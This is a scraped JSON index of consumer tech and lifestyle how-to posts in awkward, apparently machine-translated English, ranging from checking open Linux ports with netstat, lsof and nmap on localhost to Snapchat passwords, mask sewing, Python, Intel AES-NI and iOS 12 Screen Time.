the on-screen instructions to enter your activation code. Once the code is accepted, you can use the full version of AutoCAD on or offline.\n  Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmTqba3rdOeZJqtpKSworA%3D\n","link":"/post/how-to-activate-autocad/","section":"post","tags":null,"title":"How to Activate AutoCAD"},{"body":"Becoming a new trend among young people, especially those who love photography and transformations with unique effects, Snapchat brings chat space with new friends through text or images. And especially the effects are constantly updated, opening new creative space for users.\nLike many social networking applications for chatting, texting, and password, it is always a top concern and so is Snapchat. In the previous article, we showed you how to reset Snapchat password on the phone and on the computer via phone number or registered email address. And today, Network Administrator will help you change your Snapchat password on your phone and on your computer, with very simple operations.\n1. Change Snapchat password on your phone: Download Snapchat for iOS Download Snapchat for free for Android Step 1: You log into your Snapchat account on your phone. At the shooting screen, we click on the ghost icon Snapchat . Soon you will get to the installation interface of the application. Click the gear icon .\n   Step 2: At the Settings interface, you scroll down and find the Password entry. The application will ask us to enter the password we are using in the empty frame. Then click Continue to continue.\n   Step 3: At the New Password interface, we need to enter a new password at New Password and confirm the password at Confirm Password . The application will also check the security of this new password with the icon next to the password.\nOnce you have entered, click Save to save the new password.\n   When you do this, you can access your Snapchat account with the new password.\n2. How to change Snapchat password on the computer: Just like changing the password on the phone, we also perform simple operations when changing the Snapchat password on the computer.\nStep 1: First, visit the link below:\nhttps://accounts.snapchat.com/accounts/change_password\nThe application will ask you to enter your current Snapchat account and check the box I'm not a robot . Click Log in to login.\n  Step 2: Soon, you will be taken to the password change interface . Here, we need to enter the current Current Passwword password, new Password New Password and re -enter the new password Re-enter New Password .\nAfter entering, click on Change Password .\n  Step 3: Wait a moment and the homepage will send a successful password change notification to the user.\n  Note , your password must be at least 8 characters long. Ideally, you should choose a password including letters, numbers or capital letters to increase security when using Snapchat account, avoid being hacked account. Along with Network Administrator \"take a selfie\" with fancy photos by the unique effects of Snapchat offline.\nRefer to the following articles: How to create Snapchat account on iOS, Android What to do when you forget your Facebook password If your Zalo password is lost, try this! I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyspZqok52utXnPmqqsr5%2BnsW67zWanoaeemnqiusNmmqiloKrBpr4%3D\n","link":"/post/how-to-change-snapchat-password-on-phone-and-computer/","section":"post","tags":null,"title":"How to change Snapchat password on phone and computer"},{"body":"When troubleshooting network problems or trying to improve security for Linux computers, you need to know which ports are open. This article will show you some ways to test open ports in Linux.\nWhat is the port (port)? A port is a 16-bit number (0-65.535) to help identify a certain application or process on the Linux operating system (Unix). Each application has a different port on the Linux system.\nHere are the different types of ports:\n0 - 1023 - Called popular port (Well Known Port) 1024 - 49151 - Called the Registered Port 49152 - 65535 - Called dynamic port (Dynamic Port) Use the following command to display the list of applications and ports on Terminal:\n cat / etc / services    TCP : TCP stands for Transmission Control Protocol. This is the most commonly used protocol on the Internet. TCP not only communicates one-way, but instead sends back packets to confirm that it receives your packets.\nUDP : stands for User Datagram Protocol. It is an alternative communication protocol for TCP. UDP protocol works similar to TCP. However, it ignores all error checking tools. UDP is needed when speeding up without regard to error correction.\nSOCKET : Socket allows communication from two different processes on the same machine or on different machines.\nHow to protect high-risk network ports? Consider different ways to list an open port in Linux.\n1. Netstat command In this method, we will use the -atu netstat command to test open ports in Linux.\n  Here we use the -a, -t and -u flags for netstat.\n-a : show all sockets -t : show TCP connection -u : display UDP connection You can also add the -p flag to display the PID of the program name or related process.\n  To display only UDP ports, you can use the following command:\n netstat -vaun    Alternatively, you can use the following command to search TCP ports:\n netstat -vatn    2. lsof command Instead of using netstat, we can use the lsof command to display open ports in Linux:\n lsof -i    The following command can also display open sockets:\n lsof -n -P | grep LISTEN    Alternatively, you can use the following command to list all TCP connections:\n lsof -i tcp    You can use the following command for UDP connections:\n lsof -i udp  3. Network mapping command In this method, we will use nmap to detect open ports on Linux systems. Use the following command to display TCP port connections:\n nmap -sT -O localhost    Finally, to display UDP port connections, we can use the following command:\n nmap -sU localhost    When it comes to the security of Linux computers, the first thing to do is to close all unnecessary ports to prevent external access. With the methods listed above, you will be able to easily check open ports on your Linux system and determine which ports will close or open.\nI wish you all success!\nSee more:\nGuide to network operation for Linux users: 11 commands to know 5 tools to test Linux networks Check Linux network traffic with vnStat ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsec6pnKdloKS%2Ftb%2BMoqVmpJmjwrk%3D\n","link":"/post/how-to-check-open-ports-in-linux/","section":"post","tags":null,"title":"How to check open ports in Linux"},{"body":" Semi-automatic cars are a great way for both new and experienced drivers to learn about shifting gears. Unlike manual transmission cars, semi-automatics lack a clutch pedal, making them easier to use. To drive, all you need to do is pull...\nPart 1of 2:\nStarting the Car  Turn the key in the ignition to start the engine. Semi-automatic cars typically don't require any special treatment to start. The parking brake should already be engaged, and you should hold down the brake pedal to ensure the car doesn't move forward as you shift it into gear. In most semiautomatic cars, the parking brake is engaged when the gearshift is set to \"P.\"   Find the gearshift next to you. Look down to find the gearshift in the center of the car. You'll see a stick labeled with a few letters and symbols. This is what you use to change gears. The symbols will also light up on the dashboard to remind you of what mode the car is in.[1] Some cars have steering wheel paddles used to shift gears. Look for a + paddle on the right and a - paddle on the left.   Move the gearshift back if you need to go in reverse. The 'R' on or near the gearshift stands for reverse. Hold down the brake and pull the lever towards the R. Release the brake and the car will begin to back up.[2]\n  Put the car into drive to engage the gears. Pull the gearshift down to the letter 'D,' which stands for drive. The car will start going forward as soon as you let go of the brake. You'll start out in 1st gear. When shifting, you'll move the lever past 'N,' which stands for neutral. This isn't a gear and is rarely used because it cuts the engine off from the accelerator.   Move the gearshift over to manual transmission. Depending on the car, you'll also see an 'M' or a spot to shift the lever between a + and - sign. This is how you control the gears manually. Move the lever down and over, but don't shift gears yet.\n  Begin driving forward before shifting gears. Let go of the brake, allowing the car to go forward and pick up speed. Listen to the engine and the way the car feels as you drive it. As you begin driving, the car will be in 1st gear, but you'll need to shift gears as it picks up speed.[3]\n Part 2of 2:\nChanging Gears and Parking  Push up on the gearshift to increase the gear. Move the gearshift towards the + sign to go up one gear. You should do this anytime the engine sounds like it's working too hard, making a high-pitched revving sound. The more you drive the car, the easier it'll be for you to recognize this sound.[4] Some cars may also have a + paddle on the right side of the steering wheel you can pull back on to increase the gear. One rule of thumb for shifting gears is to change every 15\u0026nbsp;mph (24\u0026nbsp;km/h). For example, switch to 2nd gear when you're driving between 15 to 30\u0026nbsp;mph (24 to 48\u0026nbsp;km/h). If your car has a tachometer, shift gears whenever it reaches 3,000 RPM. EXPERT TIP\n Simon Miyerov\nDriving Instructor Simon Miyerov is the President and Driving Instructor for Drive Rite Academy, a driving academy based out of New York City. Simon has over 8 years of driving instruction experience. His mission is to ensure the safety of everyday drivers and continue to make New York a safer and efficient driving environment.  Simon Miyerov\nDriving Instructor\nDid You Know? In an automatic vehicle, when you shift gears, it happens automatically, and in a manual, you have to use a clutch to shift the gears. In a semi-automatic, you can shift the gears manually, but you don't use a clutch. In some luxury vehicles, you can even switch back and forth between automatic and semi-automatic.\n  Let go of the gas pedal before downshifting. Whenever you're slowing down and need to decrease the gear, ease off the gas pedal. This will get your car to the proper speed, leading to a safe and seamless transition to the lower gear.[5] You don't have to let off the gas when shifting up a gear.   Pull back on the gearshift to lower the gear. Move the gearshift towards the - sign, which is always towards you. This is done gradually as you decrease speed, and you should never immediately brake if you can avoid it. You'll hear the engine slow and begin to sputter.[6] Remember to watch the speed and RPM indicators. For example, shift back to 1st gear when you fall back to 15\u0026nbsp;mph (24\u0026nbsp;km/h) or 1,000 RPMs. If your car has gear paddles on the wheel, look on the left side for the - paddle. Pull it towards you to downshift.   Bring the car to a stop before putting it in neutral. Press the brake to slow the car, downshifting until you reach 1st gear. Once the car has come to a complete stop, it is safe to shift into neutral. Move the gearshift towards the 'N'. If your car has wheel paddles, pull back on both the + and - paddles to put the car into neutral.   Engage the parking brake before turning off the car. Grasp the gearshift and move it next to the letter P. This turns on the brake. Turn off the engine by turning the key in the ignition. Now it's safe to exit the car.[7]\n  Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyinsOmecBmqp6lmWKutsDOppitoZNisKK%2B\n","link":"/post/how-to-drive-a-semi-automatic-car/","section":"post","tags":null,"title":"How to Drive a Semi Automatic Car"},{"body":" This article will cover how to create a fabric mask using the Olson Mask pattern that has a pocket for a filter and an additional one for a wire. This is designed to help prevent you from spreading a virus. Although it will not prevent you...\nPattern and Materials We will be using the Olson Mask pattern. Print the last three pages and cut them out. You can find it here:\u0026nbsp;Olson Mask PDF\n Gather the following materials: 100% Cotton - you want this to be thick such as high-quality quilting cotton. High thread count sheets may be an option if you are unable to purchase fabric at this time. Elastic/Strings - You can use a simple hair tie for around the ears, or other elastic if this doesn't fit. You can substitute cotton strings (such as binding) if you prefer. It must be able to handle being washed at high temperature (Optional but recommended) - A piece of wire. You can use a paper clip, pipe cleaner, or other wire you have on hand. (Optional) Filter - There are multiple options here. Be sure whatever you use is safe to breathe through. Do not use fiberglass.  Creating your mask Pre-wash your fabric in hot water. Cotton will shrink! Fit is vital for a mask to function, so this is important.\n  Cut your fabric. It is best not to pin your fabric as it will introduce holes to the mask. If you don't have tailor's chalk, a sharpie works perfectly fine. You should end up with 6 pieces.\n  Create a\u0026nbsp;1/4\" seam along the edges that will overlap inside your mask using an iron. This is labelled as side 5 on Mouth, and side 6 on Cheek.\n  Sew the following. Ideally, you will not need pins to do this, to avoid poking holes in the mask. CHEEK and MOUTH: Sew down to make a smooth edge FACE: Side 3s with right sides together MOUTH: Side 3s with right sides together Sew the FACE to the CHEEK and MOUTH. It is personal preference if CHEEK or MOUTH is on top. Take CHEEK 1 and line up the unsewn edge with the matching FACE. Begin sewing along the top, about halfway along the CHEEK.   Take MOUTH and line up the center seam with of FACE. It should be on top of CHEEK. You may need to use a few pins here to keep everything in place. Go slowly and adjust as you go.  While rounding along the seam between 1 and 2, ensure that they are laying flat in opposite directions.\n Line up CHEEK 2 with the finished edge under MOUTH 2. Continue sewing to the end.\n Sew the other side: Ensure the end of CHEEK and FACE are lined up when you start. As you approach MOUTH, make sure everything is lying flat and the middle seams line up. Check that the seams of MOUTH and FACE are lying in the same direction as before, that there's no twist in it. Continue along, keeping MOUTH lined up. Make sure CHEEK and FACE ends are lined up as you reach CHEEK, and sew to the end.   Sew the ends of the mask \n Adding Elastic/Strings Turn your mask right side out by pulling it through the pocket area. Push the corners so the ends are somewhat square.\n Iron all the edges to flatten them. Ensure that the mask is entirely unfolded as you iron.\n  Fold the ends over 1/2\" and iron a crease. It may not be sharp. This will form the pocket for your elastic.\n  Have the person who will be wearing the mask place it on their face so you can judge the distance between the folded end of the mask and their ear. If it is close to the ear you can use a hair tie. Otherwise, you may need to sew a loop of elastic to use.\n If using an elastic loop, fold the edge of the mask through the loop and then sew the loop as close to the edge as you can. If not using elastic you can just sew the pocket and insert the string after.\n Add Wire Pocket and Wire  Sew a line along MOUTH, starting and ending without sewing any of CHEEK, 1/2\" from the top of the mask. This is where you can insert your wire.\n Before inserting the wire, bend it around your nose and cheeks to get an approximate shape.\n Insert the wire into the pocket and adjust as needed. If you wear glasses, a properly fitting wire will keep them from steaming up!\n Creating your filter. WARNING: Use your own judgement before using any materials that are not FDA approved. Make absolutely sure to avoid anything that may contain any fiberglass as it is very harmful to breathe. If you aren't sure please use one of the alternative methods.\nDecide on your filter. A commonly suggested filter is the Filtrete 1500 furnace filter. Take the filter apart to get the material out. Take note of which side should face inward. Some alternatives to HEPA filters that will aid in catching droplets are: A thick tea towel cut to size. This is washable and can add a layer to catch any droplets. Disposable tissues or paper towels. These can be replaced as needed.   Use a sheet of paper and figure out what size you need to fit in your mask.\n  Use this as a template to cut multiple layers of the filter.\n Sew the top of the filters together to keep them straight. Trim the bottom as needed for best fit.\n Wearing Your Mask Leave your mask on once it is on. Do not remove it until you are finished with your activity. Doing so contaminates the other side of your mask.\n Keep it in a plastic bag while transporting it to reduce contamination.\n Wash with hot water between uses.\n Adjust fit as needed. Fit is vital to the proper function of the mask.\n  Marvin Fry Update 09 April 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYymmKyjXarAqrrGZquhnV2kubSxzWakmqubYr2iwNOeqac%3D\n","link":"/post/how-to-make-a-mask-using-the-olsen-mask-pattern/","section":"post","tags":null,"title":"How to Make a Mask Using the Olsen Mask Pattern"},{"body":" This wikiHow teaches you different ways to open and run a Python script on Windows, macOS, and Linux systems. Simply installing the latest version of Python 3 from Python.org (or by using your Linux distribution's package manager) gives...\nUsing IDLE  Install Python 3 with IDLE on your computer. If you haven't already done so, you'll need to install the latest version of Python (which is 3.8.3 as of 5/20/2020), which comes with an Integrated Development Environment (IDE) called IDLE. Here's how to get it: If you're using Linux, use your distribution's package manager to install the latest version of Python 3 and then move to Step 2. If you're using Windows or macOS, keep reading. Go to https://www.python.org/downloads. Click the Downloads link at the top of the page and select your operating system. Click the Latest Python 3 Release link at the top of the page. Scroll to the \"Files\" section at the bottom of the page. If you're using a Mac, click the macOS 64-bit installer link. If you're using Windows, click the Windows x86-64 executable installer link. Once the download is complete, double-click the installer (it has a name like python-3.8.3-macOS10.9.pkg/exe) and follow the on-screen instructions to install. If you're using Windows, make sure you choose the option to install IDLE when prompted.[1]   Open IDLE on your computer. If you're using a Mac, it'll now be on the Launchpad as well as in the Applications folder. If you're using Windows, you'll find it the Start menu. If you're using Linux, just type idle at the command prompt and press the Enter key.\n  Click the File menu. It's at the top-left corner of the screen on a Mac, and at the top-left corner of IDLE in Windows or Linux.\n  Click Open. The file picker will appear.\n  Select your Python file and click Open. The script should end with the \".py\" file extension. This opens the script for editing. If you want to execute the Python script, continue to the next step. Otherwise, feel free to edit the script as needed in IDLE.   Click the Run menu. It's in the menu bar at the top of the screen (or at the top of IDLE in Windows and Linux).\n  Click Run Module. This runs your Python script in IDLE.\n Using Python at the Command Line  Install Python 3 if you haven't already. If you're just getting started with Python, make sure you install the latest version before you continue. See Step 1 of the Using IDLE method for installation instructions. If you're using Linux, you may already have Python 3 installed. If not, use your distribution's package manager to get the latest version.[2]   Open Terminal (macOS/Linux) or Command Prompt (Windows). Here's how: Mac: Open Finder, and then navigate to Applications \u0026gt; Utilities. Double-click Terminal in the list. Windows: Type command prompt into the Windows search bar, and then click Command Prompt in the search results. Linux: Press the Control + Alt + T keys, or click the Terminal icon on your desktop.   Use the cd command to enter the directory that contains your Python file. The file you're looking for should end with the \".py\" file extension. For example, if you're using a Mac and your .py file is on the desktop, you'd type cd ~Desktop and press the Return key. If you're using Windows and your .py file is in your Documents folder, type cd Documents and press Enter. Or, if you're not already in your user directory, use the full path (cd C:UsersYournameDocuments) instead.   Type python and press Enter or Return. For example, if the file is called script.py, you'd type python script.py. This runs the script in Python. If you're using Linux or macOS and have an older version of Python installed, try using python3 instead. This ensures you're using the Python 3 interpreter instead of Python 2.  Using Python Launcher for Windows or macOS  Install Python 3 if you haven't already done so. If you don't have Python 3 installed, you can get it from https://python.org. See Step 1 of the Using IDLE method for installation instructions.   Navigate to your Python script in Finder or File Explorer. The file should end with the \".py\" file extension.\n  Right-click the Python file and select Open With. A list of applications will expand.\n  Click Python Launcher. This runs the script in Python Launcher. You can also open Python Launcher first and drag the Python script to the application window. You'll find Python Launcher in the Applications folder on a Mac, and in the Start menu on Windows.   Marvin Fry Update 02 June 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrturYypsK2gn6N6p7XLng%3D%3D\n","link":"/post/how-to-open-a-python-file/","section":"post","tags":null,"title":"How to Open a Python File"},{"body":"Video calling applications now support group calling, making it easier for many people to communicate with each other. Besides popular video calling applications such as Messenger, Skype, etc., there are new messaging and video chat applications like Houseparty for example.\nThe app brings group chat space when sending messages or video chat at ease. Videos recorded on Houseparty can be shared with members of the group to review when they are unable to join the chat group. Houseparty supports on iOS, Android, Chrome, and Mac platforms so we can call Houseparty video right on the computer. The following article will guide you how to use Houseparty.\n1. How to register for a Houseparty account Step 1:\nUsers click on the link below to install Houseparty with the correct device.\nDownload Houseparty for Android :\u0026nbsp;\nhttps://play.google.com/store/apps/details?id=com.herzick.houseparty\nDownload Houseparty for iOS\nhttps://apps.apple.com/us/app/houseparty-group-video-chat/id1065781769\nDownload Houseparty for Chrome\nhttps://chrome.google.com/webstore/detail/houseparty/cjkkodhikogdenlfobgbhkggogejidim\nStep 2:\nAt the first interface, click Sign up to create Houseparty account. Next we enter account information , email, avatar, password and click Next below.\n    Step 3:\nNext to the user enter personal phone number to receive the authentication message, press Send SMS or can press Skip to skip. We then proceed with the setup steps on Houseparty to use the application.\n   Houseparty needs users to access your contacts and Facebook accounts to find friends who are using the service to make friends or send invitations if not already used.\n    Step 4:\nThen display the feature introduction interface, press Skip to skip. In the interface Permissions you need to select to grant use rights, including:\nCamera and Mic: Let friends see and hear you. Enable Location: So you can find friends near you. Notifications: To receive notifications when friends want to chat.     Clicking on each item will display the interface that requires users to agree to access or use the features on the device. Finally click Next to complete.\n    2. Instructions for texting, video chat on Houseparty Step 1:\nAfter the installation is complete, we will see the search interface for friends, invite friends to join, add friends to Houseparty to chat and text. Click the smiley icon in the top left corner to add options.\nAdd Friends: Allows you to find, invite by name, in contacts, in Facebook, close to your location or on the website. My Friends: Show friends added.     Step 2:\nWhen searching for friends, click Add to add them to your personal friends list. So you have added friends successfully. Clicking on My Friends will display the name of your friends list. Click on the dot icon at the name with the Unfriend option.\n    Step 3:\nTo video chat, swipe the screen from bottom to top and then press the phone icon to make a video call to a friend. If you want to add other people to the chat room , click on the plus sign above to add another person to the group.\nIn the call interface when personal chat. If you want to prevent others from joining the chat room , press the open lock icon .\n    Step 4:\nTo text other people, we also swipe the screen from bottom to top and then click on a friend's name to text. Display message frame to enter content as usual. The enemy when accessing the application will receive a notification message immediately.\n   Step 5:\nIn the application Houseparty has a Facemail feature for us to record our own or in a group chat. For those who join the group without being present when the group chat can review this video.\nIn order to create Facemail with individuals, swipe the image from the bottom up, click on the object and select Facemai l in the display interface. Click the middle circle button to record.\n   With the chat group, we also click on the camera icon to open the Facemail recording interface to perform. Note with Facemail group feature only applicable to iOS version\n   Step 6:\nTo bring the conversation to a secret mode , don't want to be disturbed, click on the smiley icon , then select the gear icon . In the new Private Mode interface, click Enable Private Mode to lock your friends from adding you to the chat room.\n    In general, Houseparty offers a full range of basic messaging and video calling features like other applications. In addition, the app also adds the Facemail option to send videos to those who are not present when chatting. If using Chrome to chat, you need to register an account on iOS / Android and sign in on Chrome later.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmmKmonJ6wosDIqKVmoJ%2BqwKa8wKursmWTna61edWim56nXZiurbg%3D\n","link":"/post/how-to-use-the-application-houseparty-chat-video-call/","section":"post","tags":null,"title":"How to use the application Houseparty chat, video call"},{"body":"However, the excitement was quickly replaced by disappointment. Alder Lake-S CPUs clashed with the digital rights management (DRM) software of many titles. This makes the user unable to play the game as usual.\nRegarding this issue, Intel said that some DRM software will not be able to correctly recognize the new power-saving cores of Intel 12th Gen CPUs. Therefore, DRM will determine that they are a different system. and prevent the game using that DRM software from launching successfully. The game may crash while launching or playing, or will automatically shut down unexpectedly.\n  Intel says that it has updated the microcode of its Alder Lake CPUs and has also alerted DRM software developers to the issue. But it is possible that at the time of Alder Lake's launch, the DRM software had not yet updated their algorithms.\nBelow is a list of games affected by this issue, highlighted in bold are affected games on Windows 11 while the rest are affected games on Windows 10:\nAnthem Bravely Default 2 Fishing Sim World Football Manager 2019 Football Manager Touch 2019 Football Manager 2020 Football Manager Touch 2020 Legend of Mana Mortal Kombat 11 Tony Hawks Pro Skater 1 and 2 Warhammer I Assassin's Creed: Valhalla Far Cry Primal Fernbus Simulator For Honor Lost in Random Madden 22 Maneater Need for Speed ​​– Hot Pursuit Remastered Sea of ​​Solitude Star Wars Jedi Fallen Order Tourist Bus Simulator Maneater Intel said it is working with Denuvo and other DRM software vendors to release a patch for this issue soon.\nOn the other hand, here are the games that are only affected on Windows 10 and have a temporary fix:\nAce Combat 7 Assassin's Creed Odyssey Assassins Creed Origins Code Vein eFootball 2021 F1 2019 Far Cry New Dawn FIFA 19 FIFA 20 Football Manager 2021 Football Manager Touch 2021 Ghost Recon Breakpoint Ghost Recon Wildlands Immortals Fenyx Rising Just Cause 4 Life is Strange 2 Madden 21 Monopoly Plus Need For Speed ​​Heat Scott Pilgrim vs The World Shadow of the Tomb Raider Shinobi Striker Soulcalibur VI Starlink Team Sonic Racing Total War Saga - Three Kingdoms Train Sim World Train Sim World 2 Wolfenstein Youngblood To fix the DRM problem on the games you see above, you can upgrade your computer to Windows 11 or use a workaround called Scroll Lock that Intel provides. Steps to perform Scroll Lock:\nTurn on the machine and access the BIOS Switch Legacy Game Compatibility Mode option in BIOS to On Save BIOS and exit Boot into the OS Press the Scroll Lock button on the keyboard to On Run the affected game Press the Scroll Lock button to Off after the game finishes running Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKVkmqSUmr9uuMCknGaboKp6pLvNn6Oim6Soeri106FknaqdYsCwstOwmKudXaKurLXNoGSuq5WnwG7BzZqZpZ1dqbxuvMuasGafkaKytA%3D%3D\n","link":"/post/intel-alder-lake-cpu-conflicts-with-drm-software-making-users-unable-to-play-games/","section":"post","tags":null,"title":"Intel Alder Lake CPU conflicts with DRM software, making users unable to play games"},{"body":"In this article, I will show you the importance of encryption and go into Intel AES-NI.\n  With the growing popularity of computing devices in all areas, whether at work or at home for each of us, the need for encryption is becoming more and more important. now. Desktops, laptops, smartphones, 'pad' PCs, PDAs, Blue-ray players and many more, all need this need to be able to encrypt sensitive information. Without encryption, everything you send over the network (or even stored on an internal storage device) is potentially at risk, anyone can read it whenever they want. Whether authorization or access control can provide some form of protection, but when really interested in security, encryption must definitely be an important part of your multi-layer security campaign. . You might think that you have nothing to hide, but to know the truth, the information you think will be of no value to anyone can be taken advantage of in surprising ways. So, especially in today's corporate world, encryption needs to be taken seriously, not an optional one.\nThe importance of encryption\nScenarios where encryption will be used in our daily lives:\nWhen you turn on your laptop and automatically connect to your wireless access point, you will definitely use WPA encryption and AES encryption algorithms. When connecting to secure websites to share information or buy products online, SSL connections are an encrypted session designed to secure your personal information so that they are not shared with the the rest of the world. When a laptop uses BitLocker to encrypt the information on the disk, if it is lost, all of that information will not be public. When setting up an IPsec VPN connection or a DirectAccess connection based on IPsec for the corporate network, the IPsec connection will be secured with AES encryption. There are many other examples, but it is clear that encryption and especially AES encryption is an integral part of our digital life, whether you know it or not.\nAs a network administrator, you probably know that encryption is an important part of your back-end architecture. Hackers will not care about knocking down your entire network the same way they did with previous exploits. Why? It is because there will be no money generated for wide area network attacks. With more and more penalties for criminal forms, most attackers are not doing this for entertainment purposes, but instead they are often an illegal business owner, wanting to earn Unrighteous money. One way they can do this is to compromise the main servers and silently break into it. Then steal salable information, such as your company's personal database or your company's trade secrets. Hackers often don't get anything with a \"dead\" server, and they can't get anything if you find out and block it before they get what he wants. As such, you need to use encryption on the back end as a protection mechanism in the 'last resort' to prevent an attacker from gaining access to important information.\nEncryption is also part of everyday IT compliance; For example, all of the following are considered coding as part of their standards:\nHIPAA (Health Insurance Portability and Accountability Act) SOX (Sarbanes-Oxley) PCI DSS (Payment Card Industry Data Security Standard) AES: A new standard\nAES is an existing US government encryption standard and is used to replace the previous standard, triple DES, standard used a 56-bit key. AES also uses different key lengths, characterized by AES-128, AES-192 and AES-256. Depending on the length of the key, up to 14 transformations are required to create a final encrypted text.\nAES also has several modes of operation, including:\nelectronic codebook (ECB) cipher block chaining (CBC) counter (CTR) cipher feedback (CFB) Feedback output (OFB) Cipher block chaining is the most used mode because it provides an acceptable level of security and is not likely to be vulnerable to statistical attacks.\nChallenge between security and performance\nThe biggest problem with advanced encryption methods such as AES and CBC is that they require high processing power. Especially with the case of servers, but it can also be a problem for busy client systems, because on them are often installed inferior processors. That means you need to make your choice between getting the best level of security and getting the best performance for your systems. This situation can become difficult to resolve on the server side where solutions such as SSL or IPsec offload card (encryption offload card) are used to cool the processor and allow the processor. do tasks outside of session settings and bulk encryption.\nThe problem with add-on tags is, they are a standalone application and can or cannot work, depending on what you want to use them for. What we really need here is a general solution that can work in all AES encryption scenarios, the goal is for you not to have to do anything special to offload word encoding work. main processor. What we need is a 'plug and play' solution built into the operating system and motherboard.\nSolve the problem with Intel AES-NI\nIf you agree with what we mentioned above, there are some good news for you - the new Intel AES-NI instruction set, included in Intel's Xeon5600 series processors, meeting these standards. This processor was previously known by the code name Westmere-EP. AES-NI implements a number of AES steps in hardware, right on the processor chip. However, you should know that AES-NI on the processor does not include the entire AES application but only some of its components, which are some components required to optimize performance. encryption rate. AES-NI does this by adding 6 new AES instructions: four for encoding / decoding, one for the 'mix' column and one for the 'next round' text creation (where the number of rounds is controlled by the bit length you choose).\nOne interesting thing about Intel AES-NI is that, because it is hardware-based, there is no need for the search tables inside the memory and the encryption blocks are executed in the processor. This reduces the chance of successful \"side channel attack\". In addition, Intel AES-NI allows the system to implement longer key lengths, and the end result gives us more secure data.\nAt this time, Intel AES-NI currently focuses on three main use cases:\nTrade securely over the Internet and intranet Full disk encryption (such as the feature provided by Microsoft BitLocker) Application-level encryption (part of secure transactions) Secure transactions over the Internet and the intranet may include the use of SSL to connect to a secure website on the Internet or the intranet. In addition, IPsec transmission and tunneling modes are becoming popular for securing sessions over the intranet, and in the case of DirectAccess, over the Internet. It should be noted that SSL is used for layer 7 communications encryption, while IPsec is used to secure network level communication (layer 3).\nSurely we've heard 'cloud' will be a big problem in computing, and cloud service providers will benefit from Intel AES-NI, where most of their communications are done via an encrypted channel. For IPsec, if there are only a few IPsec connections with one server, SSL offload may be good enough. However, if you have a busy server, Intel AES-NI alone or in combination with SSL offload will be a better solution.\nAfter obtaining the trading component of 'safe transactions'. In addition to application or network level encryption, there is an application-level encryption that can benefit from Intel AES-NI. For example:\nDatabase can be encrypted Email can be encrypted Rights management services using encryption The file system itself can be encrypted (as opposed to disk-level encryption). Applications such as Microsoft SQL can use Transparent Data Encryption (TDE) to automatically encrypt the entries created in the database. It can be said that Intel AES-NI can significantly speed up transaction time and make customers feel happier, employees have better productivity.\nFull disk encryption will perform encryption for the entire external disk from the MBR. In addition to Microsoft BitLocker, there are other disk encryption applications that can benefit from Intel AES-NI, such as PGPdisk. The problem with full disk encryption is that it can affect performance, which can prevent users from using it. However, with Intel AES-NI, that performance effect is basically unavailable, users will be able to enable full disk encryption and benefit from it.\nPerformance improvements\nSo what kind of performance improvements are there with Intel AES-NI? It's hard to say at this point because the technology is still so new. However, Intel did some tests and what they have received so far is quite good:\nWith a bank-related amount of work using Microsoft IIS / PHP, they found that when comparing two Nehalem-based systems, one with encryption and the other one, the result increased by 23%. Users can be supported on the system. An encrypted Nehalem system compared to non-Nehalem systems, has improved 4.5 times as a number of supported users. It is an incredible number! In a test of Oracle 11g encryption and decryption, they discovered that, when comparing two Nehalem systems, one is encrypted and one is disabled, the system results are encrypted for found a reduction of 89% of the time to decode a 5.1 million encoding. It also reduced 87% of the time coding an OLTP table and repeated insertion and truncated one million rows. Full disk encryption consumes time for initial encryption. Intel found that, when encrypting an Intel 32 GB SDD drive for the first time using McAfee's endpoint encryption for PCs, the results showed a 42% reduction in time compared to the first attempt. It is a clear difference that you may have seen if you ever waited to complete an entire disk encryption process. Conclude\nEncryption is now a requirement in everyone's daily computing life. AES is a new standard for this issue. While encryption allows us to secure our data, there may be a significant performance cost associated with encryption and sometimes the overhead of encryption can take up some processor cycles from public What we want to do is done. In the past you could handle this problem by upgrading to more powerful processors, or adding more processors, or using offload encryption solutions. However, all of these methods have limitations. The new Intel AES-NI significantly improves performance and security by placing new AES-related instructions on the chip. This allows for increased performance and security for some scenarios, such as secure networks and application layer sessions, secure transactions, and full disk encryption with little or no affects the entire processor. Intel AES-NI should be part of any client and server deployment plan, where encryption will be used on an extended basis, such as when DirectAccess is used to connect to the network. company. The combination of Nehalem and Intel AES-NI architecture promises a revolution in computing and improved governance satisfaction while improving performance.\nFor more information about Intel's Xeon 5600 series processors with Intel AES-NI, please refer here.\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjKKlrKyiqrC1tc6nqmahnmK2r8DEpapmmZSrrq%2BvxJ1knqaTp8axwMiopWarpJa7pa3RnWSanaOjtg%3D%3D\n","link":"/post/new-instructions-in-intel-s-advanced-encryption-standard-aes-ni/","section":"post","tags":null,"title":"New instructions in Intel's advanced encryption standard (AES-NI)"},{"body":"Apple is always trying to make each of its updates better than before.iOS 12, too, with this update, users can now enjoy many different features that make using their iOS devices much easier.Below is a list of great tricks you can do with this new Apple update.\nSet a time limit on an application   \nFrankly, many of us are spending too much time on smartphone apps, such as Facebook.The problem is that you know this is not the case, you realize that the time has come to reduce the time it takes to use these applications, but sometimes the mind doesn't win the temptation.Don't worry, on iOS 12 there is a feature calledScreen Time,which allows you to reduce the time to use any application on your device.\nTo use this feature, go to Settings -\u0026gt; Display time -\u0026gt; Application limit -\u0026gt; Add limit -\u0026gt; Select application -\u0026gt; Add -\u0026gt; Set time limit .The time limit you selected will be displayed at the top right of the time box and by swiping up or down, you can adjust each hour and minute individually.\nYou will also see the Customize Days option .This feature will allow you to apply a set time limit for the dates you want.For example, if you only want your children to use certain apps within 1 hour on certain days of the week, tap on those days and the time limit will apply.\nSet a time limit and when you select a different day of the week, the previous time limit will be saved automatically.The time you set for each day of the week will be displayed on the same row as that day.\nTheApp \u0026amp; Categories section will show you all the applications you have set a time limit. If you want to add or delete applications, click the Edit App option . To add an application that you want to set a time limit on, use the Add button on the top right. To remove the time limit for applications in the list, simply click the Delete Limitoption(See the image above).\nDetails about the battery   \nYou start to 